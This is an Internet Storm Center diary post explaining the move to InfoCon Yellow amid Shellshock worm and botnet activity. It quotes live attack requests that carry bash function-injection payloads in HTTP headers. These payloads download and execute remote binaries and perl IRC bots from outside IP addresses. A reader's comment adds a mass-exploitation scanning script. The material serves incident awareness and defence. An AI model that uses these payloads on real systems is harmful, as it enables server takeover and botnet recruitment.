Why We Have Moved to InfoCon:Yellow

Published: 2014-09-26
Last Updated: 2014-09-27 03:13:06 UTC
by Richard Porter (Version: 1)
5 comment(s)

 

At the Storm Center, we are strict and judicious on moving the InfoCon status. We felt, after dialog, that Yellow is warranted in this case as we are seeing signs of worm/botnet activity. This combined with so many systems are impacted [worm], with no signs of letting up [met].

We will monitor this closely and relax InfoCon when the situation seems to be more stable.

Some example requests currently probing for the vulnerability:

GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"

ec.z is an obfuscated perl script launching an IRC bot. 

This second attack uses multiple headers. We have not yet recovered the 'nginx' binary.

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
Host: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
User-Agent: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Cookie: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;
Referer: () { :;}; wget -O /tmp/syslogd http://69.163.37.115/nginx; chmod 777 /tmp/syslogd; /tmp/syslogd;

In addition, we have seen numerous scans that will just probe the vulnerability.

[met] https://github.com/rapid7/metasploit-framework/pull/3891
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspx

 

---

Richard W. Porter

rporter at isc dot sans dot edu || @packetalien

5 comment(s)

Comments

Are the worms/botnets associated with the bash vulnerabilities?

[edit] Never mind, I followed the article links and I see that they are due to the bash vulnerabilities.

Thanks
Yes, Shellshock/BASH. I should have noted this!

~Richard
Thank You Richard!
we got scanned from a few ip addresses

one of them hosts this file "auto.txt" at the root of the site. Below is the content:

"for i in `cat $1`
do
CONTOR=`ps aux | grep -c php`

while [ $CONTOR -ge 1000 ];do
CONTOR=`ps aux | grep -c php`

done

if [ $CONTOR -le 1000 ]; then
php a.php -u http://$i/ -c 'wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1'>>/dev/null&
php a.php -u http://$i/cgi-bin/test.sh -c 'wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1'>>/dev/null&
php a.php -u http://$i/test -c 'wget -O /var/tmp/wow1 198.49.76.152/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1'>>/dev/null&
fi

done
"
I also saw attempts to wget/curl and execute http://213.5.67.223/ji (another perl script). It's kind of a mess, but it looks like it would connect to #gnu on ircd.w3h.co.uk:6667 to listen for a variety of script kiddie commands, your basic bot-net zombie. We'll probably see a lot of these now. It also looks like it tries to spread itself to randomly-generated domains.

Do you know if Apache is working on this from their end, like sanitizing their environment variables? Knowing that passing anything with "() {" to an environment variable creates a nasty vulnerability, it seems Apache has the power to stop these pretty trivially. (And that goes for any other program that sets environment variables from incoming data.)

Diary Archives